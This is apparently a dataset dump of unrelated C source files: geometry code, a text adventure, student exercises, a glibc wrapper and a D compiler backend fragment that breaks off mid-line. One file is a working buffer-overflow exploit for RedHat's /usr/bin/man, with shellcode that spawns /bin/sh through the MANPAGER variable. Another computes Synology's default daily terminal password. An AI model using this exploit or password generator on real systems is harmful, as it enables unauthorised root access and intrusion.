A[1]) { i0 = 0; /* A[2] is greatest */ i1 = 1; } else { i0 = 0; /* A[1] is greatest */ i1 = 2; } } /* test all edges of triangle 1 against the edges of triangle 2 */ EDGE_AGAINST_TRI_EDGES(V0, V1, U0, U1, U2); EDGE_AGAINST_TRI_EDGES(V1, V2, U0, U1, U2); EDGE_AGAINST_TRI_EDGES(V2, V0, U0, U1, U2); /* finally, test if tri1 is totally contained in tri2 or vice versa */ POINT_IN_TRI(V0,U0,U1,U2); POINT_IN_TRI(U0,V0,V1,V2); return 0; } #define NEWCOMPUTE_INTERVALS(VV0,VV1,VV2,D0,D1,D2,D0D1,D0D2,A,B,C,X0,X1) \ { \ if(D0D1>0.0f) \ { \ /* here we know that D0D2<=0.0 */ \ /* that is D0, D1 are on the same side, D2 on the other or on the plane */ \ A = VV2; B = (VV0-VV2)*D2; C = (VV1-VV2)*D2; X0 = D2-D0; X1 = D2-D1; \ } \ else if(D0D2>0.0f)\ { \ /* here we know that d0d1<=0.0 */ \ A = VV1; B = (VV0-VV1)*D1; C = (VV2-VV1)*D1; X0 = D1-D0; X1 = D1-D2; \ } \ else if(D1*D2>0.0f || D0!=0.0f) \ { \ /* here we know that d0d1<=0.0 or that D0!=0.0 */ \ A = VV0; B = (VV1-VV0)*D0; C = (VV2-VV0)*D0; X0 = D0-D1; X1 = D0-D2; \ } \ else if(D1!=0.0f) \ { \ A = VV1; B = (VV0-VV1)*D1; C = (VV2-VV1)*D1; X0 = D1-D0; X1 = D1-D2; \ } \ else if(D2!=0.0f) \ { \ A = VV2; B = (VV0-VV2)*D2; C = (VV1-VV2)*D2; X0 = D2-D0; X1 = D2-D1; \ } \ else \ { \ /* triangles are coplanar */ \ return coplanar_tri_tri(N1,V0,V1,V2,U0,U1,U2); \ } \ } int no_div_tri_tri_intersect(float V0[3], float V1[3], float V2[3], float U0[3], float U1[3], float U2[3]) { float E1[3], E2[3]; float N1[3], N2[3], d1, d2; float du0, du1, du2, dv0, dv1, dv2; float D[3]; float isect1[2], isect2[2]; float du0du1, du0du2, dv0dv1, dv0dv2; short index; float vp0, vp1, vp2; float up0, up1, up2; float bb, cc, max; /* compute plane equation of triangle(V0,V1,V2) */ SUB(E1,V1,V0); SUB(E2,V2,V0); CROSS(N1,E1,E2); d1 = -DOT(N1,V0); /* plane equation 1: N1.X+d1=0 */ /* put U0,U1,U2 into plane equation 1 to compute signed distances to the plane*/ du0 = DOT(N1,U0)+d1; du1 = DOT(N1,U1)+d1; du2 = DOT(N1,U2)+d1; /* coplanarity robustness check */ #if USE_EPSILON_TEST==TRUE if (FABS(du0) < EPSILON) du0 = 0.0; if (FABS(du1) < EPSILON) du1 = 0.0; if (FABS(du2) < EPSILON) du2 = 0.0; #endif du0du1 = du0*du1; du0du2 = du0*du2; if (du0du1 > 0.0f && du0du2 > 0.0f) /* same sign on all of them + not equal 0 ? */ return 0; /* no intersection occurs */ /* compute plane of triangle (U0,U1,U2) */ SUB(E1,U1,U0); SUB(E2,U2,U0); CROSS(N2,E1,E2); d2 = -DOT(N2,U0); /* plane equation 2: N2.X+d2 = 0 */ /* put V0,V1,V2 into plane equation 2 */ dv0 = DOT(N2,V0)+d2; dv1 = DOT(N2,V1)+d2; dv2 = DOT(N2,V2)+d2; #if USE_EPSILON_TEST==TRUE if (FABS(dv0) < EPSILON) dv0 = 0.0; if (FABS(dv1) < EPSILON) dv1 = 0.0; if (FABS(dv2) < EPSILON) dv2 = 0.0; #endif dv0dv1 = dv0*dv1; dv0dv2 = dv0*dv2; if (dv0dv1 > 0.0f && dv0dv2 > 0.0f) /* same sign on all of them + not equal 0 ? */ return 0; /* no intersection occurs */ /* compute direction of intersection line */ CROSS(D,N1,N2); /* compute and index to the largest component of D */ max = (float)FABS(D[0]); index = 0; bb = (float)FABS(D[1]); cc = (float)FABS(D[2]); if (bb > max) { max = bb; index = 1; } if (cc > max) { max = cc; index = 2; } /* this is the simplified projection onto L*/ vp0 = V0[index]; vp1 = V1[index]; vp2 = V2[index]; up0 = U0[index]; up1 = U1[index]; up2 = U2[index]; /* compute interval for triangle 1 */ float a,b,c,x0,x1; NEWCOMPUTE_INTERVALS(vp0, vp1, vp2, dv0, dv1, dv2, dv0dv1, dv0dv2, a, b, c, x0, x1); /* compute interval for triangle 2 */ float d,e,f,y0,y1; NEWCOMPUTE_INTERVALS(up0, up1, up2, du0, du1, du2, du0du1, du0du2, d, e, f, y0, y1); float xx, yy, xxyy, tmp; xx = x0 * x1; yy = y0 * y1; xxyy = xx * yy; tmp = a * xxyy; isect1[0] = tmp + b * x1 * yy; isect1[1] = tmp + c * x0 * yy; tmp = d * xxyy; isect2[0] = tmp + e * xx * y1; isect2[1] = tmp + f * xx * y0; SORT(isect1[0], isect1[1]); SORT(isect2[0], isect2[1]); if (isect1[1] < isect2[0] || isect2[1] < isect1[0]) return 0; return 1; }
the_stack_data/121821.c
#include <stdio.h> static int dsig(int b) { int d = 0, r; while (b) { r = b % 10; if (r) d += 1 << (3 * r); b /= 10; } return d; } int main(int argc, char *argv[]) { FILE *fp; int a; if (argc != 2) { printf("Usage: %s [FILE]\n", argv[0]); return 1; } fp = fopen(*++argv, "r"); while (fscanf(fp, "%d", &a) != EOF) { int b = a + 9, d = dsig(a); while (d != dsig(b)) b += 9; printf("%d\n", b); } return 0; }
the_stack_data/165765231.c
#include <stdio.h> void ctor() __attribute__((constructor)); void ctor() { printf("Create!\n"); } void dtor() __attribute__((destructor)); void dtor() { printf("Create!\n"); } int main() { int iii = 0; for(iii=0;iii<100;iii++){ int c = 0;}return 0; }
the_stack_data/66094.c
#include<stdio.h> #include<string.h> #include<sys/socket.h> #include<arpa/inet.h> #include<stdlib.h> #include<time.h> int main() { int sock,i, num, to_send; struct sockaddr_in server; srand(time(NULL)); //tcp socket sock= socket(AF_INET, SOCK_STREAM, 0); if(sock==-1){ printf("could not create socket"); exit(-1); } puts("socket created\n"); //server info server.sin_addr.s_addr = inet_addr("127.0.0.1"); server.sin_family = AF_INET; server.sin_port = htons(8888); //connect to server connect(sock, (struct sockaddr *)&server, sizeof(server)); puts("connected\n"); //stelnw gia ka8e polh th timh pou epi8umw na mpei ston pinaka fuel for(i=0;i<9;i++) { num=rand()%100+1; to_send=htonl(num); write(sock, &to_send, sizeof(to_send)); } printf("client done"); close(sock); return 0; }
the_stack_data/149263.c
/* jason.c - A little adventure game. */ #include <time.h> #include <stdio.h> #include <stdlib.h> #define NITEMS 9 #define LAMP 0 #define CARRIED 0 /* used in itemLoc to indicate carried items */ const char *itemNames[NITEMS] = { "lamp", "diadem", "harp", "kris", "chime", "ruby", "scepter", "talisman", "zither" }; #define NDIRS 4 #define FORWARD_DIR 1 #define OPPOSITE_DIR(i) ((i) ^ 2) #define OPPOSITE_WALL(w) ((w) ^ 2) const char *dirNames[NDIRS] = { "left", "forward", "right", "back" }; /* The cave locations are numbered [1...NCAVES]. If you change NCAVES, you must also change the addTangle() calls in drawMap(). The other "locations" are special end-of-game indicators. */ #define NCAVES 15 #define START_LOC 1 #define EXIT_THRESHOLD_LOC NCAVES #define WIN_LOC 0 #define QUIT_LOC (NCAVES + 1) #define EATEN_LOC (NCAVES + 2) /* The map. The value at map[loc * NDIRS + dir] is 0 if there is no tunnel in that wall. Otherwise it is the wall number of the other end of the tunnel, (destination * NDIRS + destinationWallDir). drawMap counts on this being initially zeroed out. */ int map[(1 + NCAVES) * NDIRS]; int loc; /* player location */ int heading; /* player heading */ int itemLoc[NITEMS]; /* item locations */ /* Time when the lamp will run out; or 0 if it already has. */ time_t lampOil; int needDesc; /* describe the surroundings before the next prompt */ char verb; /* First letter of the current command. The game only recognizes the first letter of each input word. */ char noun; /* First letter of the second word of the current command, or '\0' if the command is only one word long. */ /* random whole number from 1 to i */ int rollDie(int i) { return rand() % i + 1; } /* === The map === */ int lastTunnel; /* Convert a relative direction (d is 0 for left, 1 for forward, and so on; see dirNames) to a cardinal direction (an integer in the half-open range [0..NDIRS], usable as an index into a room's map[] entries). */ int realDir(int d) { return (d + heading + NDIRS - FORWARD_DIR) % NDIRS; } /* Make a tunnel connecting walls i and j, if neither is already connected to someplace else. */ int addPath(int i, int j) { lastTunnel = j; if (map[i] == 0 && map[j] == 0) { map[i] = j; map[j] = i; return 1; } return 0; } /* Add some random passages to the maze. start and stop are wall numbers; the new passages connect walls in the half-open range [start, stop). */ void addTangle(int start, int stop, int tries) { /* I think the winning submission has a bug here. At least the behavior seems mystifying to me. The intended behavior, I think, was like this. */ int i, j; for (i = start; i < stop - 1; i++) for (j = 0; j < tries; j++) if (addPath(i, i + rollDie(stop - 1 - i))) break; } void drawMap() { int i; /* First, make a path from START_LOC to EXIT_THRESHOLD_LOC that visits every room. With this, at worst there's one really long solution. */ for (i = START_LOC; i < EXIT_THRESHOLD_LOC; i++) addPath(i * NDIRS, (i + 1) * NDIRS + rollDie(NDIRS - 1)); /* Add the exit. The exit is always in the exit threshold cave, and always directly opposite the only passage into that room, so the command to leave the maze is always "forward". (Otherwise the message "sunlight streams in ahead!" would be nonsensical.) */ map[OPPOSITE_WALL(lastTunnel)] = WIN_LOC * NDIRS + 1; /* Add more passages to the maze. */ addTangle(4, 16, 2); /* first 3 rooms */ addTangle(16, 36, 3); /* next 5 rooms */ addTangle(36, 60, 6); /* last 6 rooms. 60 == EXIT_THRESHOLD_LOC * NDIRS; this stops just short of adding any more passages into the exit-threshold cave. */ } /* === Input === */ void readCommand() { char L[99]; char *p; /* The obfuscated version has something more like `if (*fgets(L, 98, stdin) == '\0')` which can crash. */ if (fgets(L, 99, stdin) == NULL || L[0] == '\0') exit(0); p = L; while (*p != '\0' && *p <= ' ') p++; verb = *p; while (*p != '\0' && *p != ' ') p++; while (*p != '\0' && *p <= ' ') p++; noun = *p; } /* === inventory and get/drop === */ /* Darkness affects several things in the game. It's dark if the lamp has run out or is not present. Bug: It should never be dark in EXIT_THRESHOLD_LOC. */ int isDark() { if (loc == EXIT_THRESHOLD_LOC) return 0; if (lampOil == 0) return 1; return itemLoc[LAMP] != loc && itemLoc[LAMP] != CARRIED; } int inv() { int haveAny = 0; int i; printf("you have\n"); for (i = 0; i < NITEMS; i++) { if (itemLoc[i] == CARRIED) { printf(" a %s\n", itemNames[i]); haveAny = 1; } } if (!haveAny) printf(" nothing\n"); return haveAny; } /* Get or drop a specific item. "name" is the first character of the item name. If there is no item with that name, you get a generic "you do not see/have that" error message. */ int specificGetOrDrop(int isGet, char name) { int i; if (!(isGet && isDark())) { for (i = 0; i < NITEMS; i++) { if (name == itemNames[i][0] && itemLoc[i] == (isGet ? loc : CARRIED)) { printf("done\n"); return itemLoc[i] = (isGet ? CARRIED : loc); } } } printf(" you do not %s that\n", isGet ? "see" : "have"); return 0; } /* Get/drop without a specific item. */ void vagueGetOrDrop(int isGet) { printf("%s what? ", isGet ? "get" : "drop"); readCommand(); specificGetOrDrop(isGet, verb); } void getOrDrop(int isGet) { if (noun != '\0') specificGetOrDrop(isGet, noun); else if (isGet || inv()) vagueGetOrDrop(isGet); } /* === Movement === */ /* Try moving; i is 0 if the way is blocked, otherwise the number of the destination wall. */ void tryMovingTo(int i) { if (i != 0) { printf("you climb...\n"); loc = i / NDIRS; /* The original adds "& 63" here, but it has no effect. */ heading = OPPOSITE_DIR(i % NDIRS); needDesc = 1; } else { printf("eh?\n"); } if (isDark() && rollDie(6) == 6) { printf("chomp crunch grind slurp\n" "oops. you fed the grue\n"); loc = EATEN_LOC; } } /* === Cave description === */ /* What kind of light do we have at this time of day? */ const char *light() { time_t x = time(0); int j = localtime(&x)->tm_hour; if (j < 6 || j > 19) return "moonlight"; else return "sunlight"; } /* Print a description of the player's current location. */ void lookAround() { int i; int seen; if (isDark()) { printf("it is pitch black here\n"); return; } printf("you are in a maze of twisty little passages\ncaves lead: "); for (i = 0; i < NDIRS; i++) if (map[loc * NDIRS + realDir(i)]) printf(" %s", dirNames[i]); putchar('\n'); seen = 0; for (i = 0; i < NITEMS; i++) { if (itemLoc[i] == loc) { if (seen++ == 0) printf("you see\n"); printf(" a %s\n", itemNames[i]); } } if (loc == EXIT_THRESHOLD_LOC) printf("%s streams in ahead!\n", light()); } /* === Main === */ int isDirectionVerb(char verb, int *pDir) { int i; for (i = 0; i < NDIRS; i++) { if (verb == dirNames[i][0]) { *pDir = i; return 1; } } return 0; } int main() { int score; int i; int d; puts ("\tCymon's Games\n\thttp://WWW.CYMONSGAMES.COM\n\n" " Twisty by Jason Orendorff and its code is a 2008 Cymon's Games game.\n" " If you have enjoyed this game or would just like to have a new game\n" " each week please visit:\n" " http://WWW.CYMONSGAMES.COM for C/C++ programming resources and programs\n" " for everyone, beginners and advanced users alike.\n\n"); lampOil = time(0) + 5 * 60; srand(lampOil); drawMap(); /* Scatter the treasures, but put the player and the lamp in the starting cave. */ for (i = 0; i < NITEMS; i++) itemLoc[i] = rollDie(NCAVES); loc = itemLoc[LAMP] = START_LOC; heading = 1; needDesc = 1; /* "while the player is in the caves..." */ while (loc >= START_LOC && loc < START_LOC + NCAVES) { /* check lamp lifetime */ if (lampOil != 0 && lampOil < time(0)) { if (!isDark()) { printf("your lamp dies!\n"); needDesc = 1; } lampOil = 0; } /* describe surroundings if necessary */ if (needDesc) { lookAround(); needDesc = 0; } /* get command */ printf("> "); readCommand(); /* interpret command */ if (verb == 'i') inv(); else if (verb == 'q') loc = QUIT_LOC; else if (verb == 'g' || verb == 'd') getOrDrop(verb == 'g'); else if (isDirectionVerb(verb, &d)) tryMovingTo(map[loc * NDIRS + realDir(d)]); else printf("eh?\n"); } if (loc == WIN_LOC) { printf("into bright %s!\n", light()); score = 50; for (i = 0; i < NITEMS; i++) if (itemLoc[i] == CARRIED) score += 50; if (lampOil != 0) score += lampOil - time(0); printf("score: %d\n", score); } return 0; }
the_stack_data/126704337.c
#include <stdio.h> int main(void) { float salary, percentage, percentage1, percentage2; scanf("%f", &salary); if(salary <= 0.00 || salary <= 2000.00) { printf("Isento\n"); } else if(salary <= 2000.01 || salary <= 3000.00) { salary = salary - 2000.00; percentage = (salary * .08); printf("R$ %.2f\n", percentage); } else if(salary <= 3000.01 || salary <= 4500.00) { salary = salary - 3000; percentage = (salary * .18) + (1000 * .08); printf("R$ %.2f\n", percentage); } else if( salary >= 4500.01) { salary = salary - 4500; percentage = (salary * .28) + (1500 * .18)+ (1000 * .08); printf("R$ %.2f\n", percentage); } return 0; }
the_stack_data/173578843.c
#include <stdio.h> int main(int argc, char *argv[]) { int i; if (argc == 1) { printf("Please enter your name!\n"); return -1; } for (i = 1; i < argc; ++i) { printf("%s\n", argv[i]); } printf("####\n"); for (i = argc - 1; i > 0; --i) // argc - 1 to stay in range (i.e. array starts at 0 not 1), do not print index 0 that is the program name. { printf("%s\n", argv[i]); } return 0; }
the_stack_data/9512166.c
/* Copyright (C) 2011-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Chris Metcalf <[email protected]>, 2011. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library. If not, see <http://www.gnu.org/licenses/>. */ #include <errno.h> #include <stddef.h> #include <unistd.h> #ifdef __NR_set_dataplane #include <sys/dataplane.h> #endif /* Request dataplane modes from the kernel. */ int set_dataplane (int flags) { #ifdef __NR_set_dataplane return INLINE_SYSCALL (set_dataplane, 1, flags); #else __set_errno (ENOSYS); return -1; #endif }
the_stack_data/111077715.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("Before exec: \n"); execl("/bin/ls", "/bin/ls", "-a", "-l", NULL); printf("after exec: \n"); return 0; }
the_stack_data/227702.c
// // pr_pset05_02: // // Write a program that asks for an integer and then prints all the integers // from (and including) that value up to (and including) a value larger by 10. // (That is, if the input is 5, the output runs from 5 to 15.) // Be sure to separate each output value by a space or tab or newline. // #include <stdio.h> #define DELTA 10 int main(void) { int n, condition; printf("Enter the integer: "); scanf("%d", &n); condition = n + DELTA; printf("%d ", n); while (n++ < condition) { printf("%d ", n); } printf("\n"); return 0; }
the_stack_data/168893194.c
//CSL201 DATA STRUCTURES LAB ----- VISHRUTH S, CS3A, 61 //CYCLE 2 QUESTION 17 //To evaluate a given prefix expression #include <stdio.h> #include <stdbool.h> #include <string.h> #include <math.h> // ======= RESULT STACK ======== // int stack[100]; int top = -1; // ===== STACK FUNCTIONS ===== // void stack_push(int el) { stack[++top] = el; } int stack_pop() { return stack[top--]; } int stack_peek() { return stack[top]; } // ====== OTHER FUNCTIONS ===== // // To check if current character is digit bool isDigit(char c) { return (c >= '0' && c <= '9'); } // To perform the given operation on operands and return result int performOperation(char operator, int op1, int op2) { switch (operator) { case '+': return op1 + op2; case '-': return op1 - op2; case '*': return op1 * op2; case '/': return op1 / op2; case '^': return pow(op1, op2); default: return -1; } } // ======== PREFIX EVALUATION ========// int prefixEval(char exp[]) { int n = strlen(exp); for (int i = n - 1; i >= 0; i--) // Iterate from right to left { if (exp[i] == ' ') // If empty space continue; // the continue to next character if (isDigit(exp[i])) // If number { int num = 0, k = 1; while (isDigit(exp[i])) // For multi-digit numbers, keep reading until end of number { num = num + (int)(exp[i] - '0') * k; // Logic for generating number from digits k *= 10; i--; } i++; stack_push(num); // Push this num to result stack } else // If operator { int op1 = stack_pop(); // Pop two elements from stack int op2 = stack_pop(); int res = performOperation(exp[i], op1, op2); // And perform the operation on them stack_push(res); // Push this to the result stack } } return stack_peek(); // The answer will be the top and only element remaining in stack } // ===== MAIN FUNCTION ====== // int main() { char exp[100]; printf("\nEnter prefix expression, each item must be space separated\n"); printf("For example: - + 8 / 6 3 12\n"); gets(exp); int eval = prefixEval(exp); printf("\nEvaluated prefix: %d", eval); return 0; }
the_stack_data/200044.c
/* * (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) * (lcamtuf's idea) * * redhat /usr/bin/man exploit */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define NOP 0x90 #define OFS -1000 #define BUFSIZE 4002 #define ADDRS 1000 static const char rcsid[] = "$Id: man.c,v 1.1.1.1 2001/05/21 15:28:06 venglin Exp $"; long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char *buf, *p; int noplen, i, ofs; long ret, *ap; if(!(buf = (char *)malloc(BUFSIZE+ADDRS+10))) { perror("malloc()"); return -1; } if (argc > 1) ofs = atoi(argv[1]); else ofs = OFS; ret = getesp() + ofs; noplen = BUFSIZE - strlen(execshell); memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); p = buf + noplen + strlen(execshell); ap = (unsigned long *)p; for(i = 0; i < ADDRS / 4; i++) *ap++ = ret; p = (char *)ap; *p = '\0'; fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf)); setenv("MANPAGER", buf, 1); execl("/usr/bin/man", "man", "ls", 0); return 0; }
the_stack_data/82950966.c
/* _____ _____ / ____| | __ \ | (___ _ _ _ __ ___ | |__) |_ _ ___ ___ \___ \| | | | '_ \ / _ \| ___/ _` / __/ __| ____) | |_| | | | | (_) | | | (_| \__ \__ \ |_____/ \__, |_| |_|\___/|_| \__,_|___/___/ __/ | |___/ Description: C program to obtain the default Synology (terminal) Password for today! Created by: Wesley de Groot Website: http://www.wdgwv.com Based on: https://gist.github.com/guiambros/4242127 HOW TO BUILD: Build: gcc SynoPass.c -o SynoPass Run: ./SynoPass */ #include <stdlib.h> #include <time.h> #include <stdio.h> #include <sys/time.h> int gcd(int a, int b) { return (b?gcd(b,a%b):a); } int main() { struct timeval tvTime; struct tm tmOutput; gettimeofday(&tvTime, 0); localtime_r(&(tvTime.tv_sec), &tmOutput); tmOutput.tm_mon += 1; printf("%x%02d-%02x%02d", tmOutput.tm_mon, //#Month of year. (c: tm_mon) tmOutput.tm_mon, //#Month of year. (c: tm_mon) tmOutput.tm_mday, //# Day of month. (c: tm_mday) gcd(tmOutput.tm_mon, tmOutput.tm_mday) ); }
the_stack_data/7411.c
/** * Compiler implementation of the * $(LINK2 http://www.dlang.org, D programming language). * * Copyright: Copyright (C) 1984-1998 by Symantec * Copyright (C) 2000-2018 by The D Language Foundation, All Rights Reserved * Authors: $(LINK2 http://www.digitalmars.com, Walter Bright) * License: $(LINK2 http://www.boost.org/LICENSE_1_0.txt, Boost License 1.0) * Source: $(LINK2 https://github.com/dlang/dmd/blob/master/src/dmd/backend/cod2.c, backend/cod2.c) * Coverage: https://codecov.io/gh/dlang/dmd/src/master/src/dmd/backend/cod2.c */ #if (SCPP && !HTOD) || MARS #include <stdio.h> #include <string.h> #include <stdint.h> #include <time.h> #include "cc.h" #include "oper.h" #include "el.h" #include "code.h" #include "global.h" #include "type.h" #if SCPP #include "exh.h" #endif static char __file__[] = __FILE__; /* for tassert.h */ #include "tassert.h" int cdcmp_flag; extern signed char regtorm[8]; // from divcoeff.c extern "C" { extern bool choose_multiplier(int N, uint64_t d, int prec, uint64_t *pm, int *pshpost); extern bool udiv_coefficients(int N, uint64_t d, int *pshpre, uint64_t *pm, int *pshpost); } /******************************* * Swap two integers. */ static inline void swap(int *a,int *b) { int tmp = *a; *a = *b; *b = tmp; } /******************************************* * !=0 if cannot use this EA in anything other than a MOV instruction. */ int movOnly(elem *e) { if (config.exe & EX_OSX64 && config.flags3 & CFG3pic && e->Eoper == OPvar) { symbol *s = e->EV.sp.Vsym; // Fixups for these can only be done with a MOV if (s->Sclass == SCglobal || s->Sclass == SCextern || s->Sclass == SCcomdat || s->Sclass == SCcomdef) return 1; } return 0; } /******************************** * Return mask of index registers used by addressing mode. * Index is rm of modregrm field. */ regm_t idxregm(code *c) { static const unsigned char idxsib[8] = { mAX,mCX,mDX,mBX,0,mBP,mSI,mDI }; static const unsigned char idxrm[8] = {mBX|mSI,mBX|mDI,mSI,mDI,mSI,mDI,0,mBX}; unsigned rm = c->Irm; regm_t idxm = 0; if ((rm & 0xC0) != 0xC0) /* if register is not the destination */ { if (I16) idxm = idxrm[rm & 7]; else { if ((rm & 7) == 4) /* if sib byte */ { unsigned sib = c->Isib; unsigned idxreg = (sib >> 3) & 7; if (c->Irex & REX_X) { idxreg |= 8; idxm = mask[idxreg]; // scaled index reg } else idxm = idxsib[idxreg]; // scaled index reg if ((sib & 7) == 5 && (rm & 0xC0) == 0) ; else { unsigned base = sib & 7; if (c->Irex & REX_B) idxm |= mask[base | 8]; else idxm |= idxsib[base]; } } else { unsigned base = rm & 7; if (c->Irex & REX_B) idxm |= mask[base | 8]; else idxm |= idxsib[base]; } } } return idxm; } #if TARGET_WINDOS /*************************** * Gen code for call to floating point routine. */ void opdouble(CodeBuilder& cdb, elem *e,regm_t *pretregs,unsigned clib) { if (config.inline8087) { orth87(cdb,e,pretregs); return; } regm_t retregs1,retregs2; if (tybasic(e->E1->Ety) == TYfloat) { clib += CLIBfadd - CLIBdadd; /* convert to float operation */ retregs1 = FLOATREGS; retregs2 = FLOATREGS2; } else { if (I32) { retregs1 = DOUBLEREGS_32; retregs2 = DOUBLEREGS2_32; } else { retregs1 = mSTACK; retregs2 = DOUBLEREGS_16; } } codelem(cdb,e->E1, &retregs1,FALSE); if (retregs1 & mSTACK) cgstate.stackclean++; scodelem(cdb,e->E2, &retregs2, retregs1 & ~mSTACK, FALSE); if (retregs1 & mSTACK) cgstate.stackclean--; callclib(cdb, e, clib, pretregs, 0); } #endif /***************************** * Handle operators which are more or less orthogonal * ( + - & | ^ ) */ void cdorth(CodeBuilder& cdb,elem *e,regm_t *pretregs) { //printf("cdorth(e = %p, *pretregs = %s)\n",e,regm_str(*pretregs)); elem *e1 = e->E1; elem *e2 = e->E2; if (*pretregs == 0) // if don't want result { codelem(cdb,e1,pretregs,FALSE); // eval left leaf *pretregs = 0; // in case they got set codelem(cdb,e2,pretregs,FALSE); return; } tym_t ty = tybasic(e->Ety); tym_t ty1 = tybasic(e1->Ety); if (tyfloating(ty1)) { if (tyvector(ty1) || config.fpxmmregs && tyxmmreg(ty1) && !(*pretregs & mST0) && !(*pretregs & mST01) && !(ty == TYldouble || ty == TYildouble) // watch out for shrinkLongDoubleConstantIfPossible() ) { orthxmm(cdb,e,pretregs); return; } if (config.inline8087) { orth87(cdb,e,pretregs); return; } #if TARGET_WINDOS opdouble(cdb,e,pretregs,(e->Eoper == OPadd) ? CLIBdadd : CLIBdsub); return; #else assert(0); #endif } if (tyxmmreg(ty1)) { orthxmm(cdb,e,pretregs); return; } unsigned op1,op2,mode; static int nest; tym_t ty2 = tybasic(e2->Ety); int e2oper = e2->Eoper; unsigned sz = _tysize[ty]; unsigned byte = (sz == 1); unsigned char word = (!I16 && sz == SHORTSIZE) ? CFopsize : 0; unsigned test = FALSE; // assume we destroyed lvalue switch (e->Eoper) { case OPadd: mode = 0; op1 = 0x03; op2 = 0x13; break; /* ADD, ADC */ case OPmin: mode = 5; op1 = 0x2B; op2 = 0x1B; break; /* SUB, SBB */ case OPor: mode = 1; op1 = 0x0B; op2 = 0x0B; break; /* OR , OR */ case OPxor: mode = 6; op1 = 0x33; op2 = 0x33; break; /* XOR, XOR */ case OPand: mode = 4; op1 = 0x23; op2 = 0x23; /* AND, AND */ if (tyreg(ty1) && *pretregs == mPSW) /* if flags only */ { test = TRUE; op1 = 0x85; /* TEST */ mode = 0; } break; default: assert(0); } op1 ^= byte; /* if byte operation */ // Compute numwords, the number of words to operate on. int numwords = 1; if (!I16) { /* Cannot operate on longs and then do a 'paint' to a far */ /* pointer, because far pointers are 48 bits and longs are 32. */ /* Therefore, numwords can never be 2. */ assert(!(tyfv(ty1) && tyfv(ty2))); if (sz == 2 * REGSIZE) { numwords++; } } else { /* If ty is a TYfptr, but both operands are long, treat the */ /* operation as a long. */ if ((tylong(ty1) || ty1 == TYhptr) && (tylong(ty2) || ty2 == TYhptr)) numwords++; } // Special cases where only flags are set if (test && _tysize[ty1] <= REGSIZE && (e1->Eoper == OPvar || (e1->Eoper == OPind && !e1->Ecount)) && !movOnly(e1) ) { // Handle the case of (var & const) if (e2->Eoper == OPconst && el_signx32(e2)) { code cs; cs.Iflags = 0; cs.Irex = 0; getlvalue(cdb,&cs,e1,0); targ_size_t value = e2->EV.Vpointer; if (sz == 2) value &= 0xFFFF; else if (sz == 4) value &= 0xFFFFFFFF; unsigned reg; if (reghasvalue(byte ? BYTEREGS : ALLREGS,value,&reg)) { code_newreg(&cs, reg); if (I64 && byte && reg >= 4) cs.Irex |= REX; } else { if (sz == 8 && !I64) { assert(value == (int)value); // sign extend imm32 } op1 = 0xF7; cs.IEV2.Vint = value; cs.IFL2 = FLconst; } cs.Iop = op1 ^ byte; cs.Iflags |= word | CFpsw; freenode(e1); freenode(e2); cdb.gen(&cs); return; } // Handle (exp & reg) unsigned reg; regm_t retregs; if (isregvar(e2,&retregs,&reg)) { code cs; cs.Iflags = 0; cs.Irex = 0; getlvalue(cdb,&cs,e1,0); code_newreg(&cs, reg); if (I64 && byte && reg >= 4) cs.Irex |= REX; cs.Iop = op1 ^ byte; cs.Iflags |= word | CFpsw; freenode(e1); freenode(e2); cdb.gen(&cs); return; } } unsigned reg,rreg; regm_t retregs,rretregs,posregs; int rval; targ_size_t i; code cs; cs.Iflags = 0; cs.Irex = 0; // Look for possible uses of LEA if (e->Eoper == OPadd && !(*pretregs & mPSW) && /* flags aren't set by LEA */ !nest && // could cause infinite recursion if e->Ecount (sz == REGSIZE || (I64 && sz == 4))) // far pointers aren't handled { unsigned rex = (sz == 8) ? REX_W : 0; // Handle the case of (e + &var) int e1oper = e1->Eoper; if ((e2oper == OPrelconst && (config.target_cpu >= TARGET_Pentium || (!e2->Ecount && stackfl[el_fl(e2)]))) || // LEA costs too much for simple EAs on older CPUs (e2oper == OPconst && (e1->Eoper == OPcall || e1->Eoper == OPcallns) && !(*pretregs & mAX)) || (!I16 && (isscaledindex(e1) || isscaledindex(e2))) || (!I16 && e1oper == OPvar && e1->EV.sp.Vsym->Sfl == FLreg && (e2oper == OPconst || (e2oper == OPvar && e2->EV.sp.Vsym->Sfl == FLreg))) || (e2oper == OPconst && e1oper == OPeq && e1->E1->Eoper == OPvar) || (!I16 && (e2oper == OPrelconst || e2oper == OPconst) && !e1->Ecount && (e1oper == OPmul || e1oper == OPshl) && e1->E2->Eoper == OPconst && ssindex(e1oper,e1->E2->EV.Vuns) ) || (!I16 && e1->Ecount) ) { int inc = e->Ecount != 0; nest += inc; code csx; getlvalue(cdb,&csx,e,0); nest -= inc; unsigned regx; allocreg(cdb,pretregs,&regx,ty); csx.Iop = LEA; code_newreg(&csx, regx); cdb.gen(&csx); // LEA regx,EA if (rex) code_orrex(cdb.last(), rex); return; } // Handle the case of ((e + c) + e2) if (!I16 && e1oper == OPadd && (e1->E2->Eoper == OPconst && el_signx32(e1->E2) || e2oper == OPconst && el_signx32(e2)) && !e1->Ecount ) { elem *e11; elem *ebase; elem *edisp; int ss; int ss2; unsigned reg1,reg2; if (e2oper == OPconst && el_signx32(e2)) { edisp = e2; ebase = e1->E2; } else { edisp = e1->E2; ebase = e2; } e11 = e1->E1; retregs = *pretregs & ALLREGS; if (!retregs) retregs = ALLREGS; ss = 0; ss2 = 0; // Handle the case of (((e * c1) + c2) + 